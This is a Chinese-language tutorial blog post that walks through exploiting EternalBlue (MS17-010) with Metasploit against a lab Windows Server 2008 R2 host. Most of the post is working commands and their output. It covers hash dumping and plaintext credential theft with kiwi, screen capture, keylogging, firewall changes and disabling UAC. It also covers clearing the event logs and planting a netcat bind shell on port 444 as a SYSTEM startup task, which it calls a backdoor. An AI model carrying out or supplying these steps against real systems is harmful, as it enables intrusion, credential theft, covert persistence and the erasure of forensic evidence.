MSF永恒之蓝漏洞利用详解[漏洞验证利用及后渗透]【详细版】

漏洞原因

永恒之蓝利用了SMBv1的一个缺陷。SMB(Server Message Block)是一种在Windows环境中广泛使用的网络文件共享协议。这个漏洞允许未经授权的攻击者通过网络发送特制的数据包到目标系统,从而远程执行恶意代码

openvas漏洞扫描结果

 使用msf进行漏洞验证 

进入msf控制台 

进入msf控制台(不显示提示内容)
msfconsole -q

 查找漏洞脚本

搜索ms17-010漏洞脚本
msf6 > search ms17-010
Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

选择辅助模块下的scanner扫描模块下的smb服务下的smb_ms17_010漏洞利用脚本

 进行漏洞验证

msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.10.129
rhost => 192.168.10.129
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+]192.168.10.129:445    - Host is likely VULNERABLE[脆弱的] to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*]192.168.10.129:445    - Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed

漏洞利用

使用漏洞利用模块下的windows模块下的smb服务下的ms17-010_eternalblue永恒之蓝漏洞脚本

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.10.129
rhost => 192.168.10.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Meterpreter session 1 opened (192.168.10.224:4444 -> 192.168.10.129:49162) at 2024-04-05 07:34:17 +0800
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter[载荷] > 

成功入侵目标并开启会话
192.168.10.224:4444 -> 192.168.10.129:49162

后渗透

获取目标主机用户凭证

获取目标密文密码
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:531b3ca954d0e442e64a5815b6794c32:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

kiwi模块获取明文密码
1.加载kiwi模块
meterpreter > load kiwi
2.获取所有系统凭证包含明文密码
meterpreter > creds_all

 对目标主机屏幕截图及监控

截取目标屏幕
meterpreter > screenshot
Screenshot saved to: /root/wZgTwEDm.jpeg
监控屏幕
meterpreter > screenshare

将当前进程进行迁移

meterpreter > ps -S explorer.exe [查看指定进程]
Filtering on 'explorer.exe'[系统管理员用户进程]:持久性较好

Process List
============

 PID   PPID  Name        Arch  Session  User              Path
 ---   ----  ----        ----  -------  ----              ----
 3060  2928  explorer.e  x64   1        WIN-5MQI51VLCDC\  C:\Windows\Explor
             xe                         Administrator     er.EXE
meterpreter > migrate 3060 [迁移到指定进程]
[*] Migrating from 1116 to 3060...
[*] Migration completed successfully.
meterpreter > getuid    [确认迁移结果]
Server username: WIN-5MQI51VLCDC\Administrator

 对目标主机进行键盘记录

执行后渗透模块下的windows模块下的捕获模块下的键盘记录器脚本
meterpreter > run post/windows/capture/keylog_recorder 

[*] Executing module against WIN-5MQI51VLCDC
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20240405075518_default_192.168.10.129_host.windows.key_148128.txt
[记录文件路径]
[*] Recording keystrokes...

更改目标主机防火墙配置指定开启TCP444端口 

meterpreter > shell [通过Meterpreter获得了shell访问权限]
Process 784 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001 [更改字符集编码:解决乱码]
chcp 65001
Active code page: 65001

C:\Windows\system32> netsh advfirewall set allprofiles state off
通过netsh工具将Windows防火墙的所有配置文件(公共、私有、域)都设置为关闭状态
C:\Windows\system32> netsh advfirewall set allprofiles state on
打开防火墙
C:\Windows\system32> netsh firewall add portopening tcp 444 backdoor enable all
开启TCP协议的444端口,允许所有网络配置文件通过该端口进行通信,规则名称为backdoor

 禁用目标主机用户账户控制(UAC)组件

UAC的工作原理

UAC通过限制应用程序访问用户电脑上的重要部分来工作。当一个程序尝试执行可能会对系统安全性或配置产生影响的操作时,UAC会介入,阻止这一操作直至用户给予明确的授权。这意味着即使用户以管理员账户登录,应用程序和任务也会以限制的权限集运行,除非用户明确授权提升权限

禁用用户账户控制(UAC)
C:\Windows\system32>reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.


命令解析
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

reg ADD: 这是Windows注册表编辑器命令行工具reg.exe的一个操作,用于添加一个新的注册表键值或更新现有的键值。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System: 指定了注册表项的路径。这里,HKLM(HKEY_LOCAL_MACHINE)是顶级注册表项之一,包含了系统的配置信息。路径指向Windows系统的策略设置部分。

/v EnableLUA: /v参数后面跟随的是要操作的注册表值的名称,在这个例子中是EnableLUA。EnableLUA是控制用户账户控制(UAC)是否启用的注册表值。

/t REG_DWORD: /t参数指定了注册表值的类型,在这里是REG_DWORD,表示数据类型为32位数字。

/d 0: /d参数后面跟随的是要设置的数据值。0表示禁用UAC。

/f: 强制执行命令而不提示用户确认。

退出windows命令行终端并清除日志
C:\Windows\system32>exit
exit
meterpreter > clearev
[*] Wiping 505 records from Application...应用程序(Application)事件日志
[*] Wiping 2026 records from System...系统(System)事件日志
[*] Wiping 1190 records from Security...安全(Security)事件日志

设置持久型后门

简介

防止目标主机修补了漏洞后,无法通过系统漏洞侵入目标主机。植入后门并设置开机自启,攻击者可以通过后门444口远程控制目标主机

nc称为netcat,是一个非常强大的网络工具被称为“网络界的瑞士军刀”。主要用于读取和写入网络连接,支持TCP和UDP协议。nc的功能包括端口扫描、文件传输、网络服务测试、以及作为客户端或服务器在任意端口上监听。

上传后门程序到目标主机指定路径

meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32
[*] uploading  : /usr/share/windows-binaries/nc.exe -> c:\windows\system32
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> c:\windows\system32\nc.exe
meterpreter > ls nc.exe
100777/rwxrwxrwx  59392  fil  2024-04-05 09:55:23 +0800  nc.exe

命令分解
upload:这是Meterpreter的一个命令,用于将文件从攻击者的系统上传到被控制系统的指定路径

/usr/share/windows-binaries/nc.exe:这是攻击者系统上的文件路径,指向nc.exe(即Netcat的Windows版本)。Netcat是一个功能强大的网络工具,可以用于监听端口、连接到服务、传输数据等

c:\\windows\\system32:这是目标Windows系统上的路径,其中包含重要的系统文件和程序。将文件上传到这个目录,可以使得上传的文件(在这个例子中是nc.exe)更容易被执行,因为system32目录通常包含在系统的PATH环境变量中。

ls nc.exe:查看文件具体情况

 设置计划任务目标系统开启时运行后门程序

meterpreter > shell
Process 2804 created.
Channel 4 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001 //解决乱码
chcp 65001
Active code page: 65001

C:\Windows\system32>schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
 schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
SUCCESS: The scheduled task "nc" has successfully been created.

命令解析
schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart

schtasks:Windows中用来创建、删除、查询或修改系统计划任务的命令行工具。

/create:schtasks命令创建一个新的计划任务。

/tn "nc":/tn参数后面指定的是任务的名称。

/ru system:这个参数指定任务将以何种用户身份运行。在这个例子中,/ru system意味着任务将以系统账户的权限运行,系统账户具有广泛的权限并且可以访问系统上的大多数资源。

/tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe":/tr参数后面跟随的是任务实际执行的命令或程序。这里指定的是执行nc.exe(Netcat),使用-Ldp 444选项在本地监听444端口,并且当连接建立时使用-e cmd.exe选项来执行命令提示符。

/sc onstart:参数定义了任务的调度周期。onstart表示任务会在每次系统启动时运行。
 

 重启靶机进行后门接入

──(root㉿kali)-[~]
└─# nc 192.168.10.129 444 //连接目标主机444端口
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>

C:\Windows\system32>netstat -an \\当前机器上的网络连接和监听端口的清单
netstat -an

�����

  Э��  ���ص�          �ⲿ��        ״
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:23             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:25             0.0.0.0:0              LISTENING
  TCP    192.168.10.129:444     192.168.10.224:37516   ESTABLISHED

  • 13
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值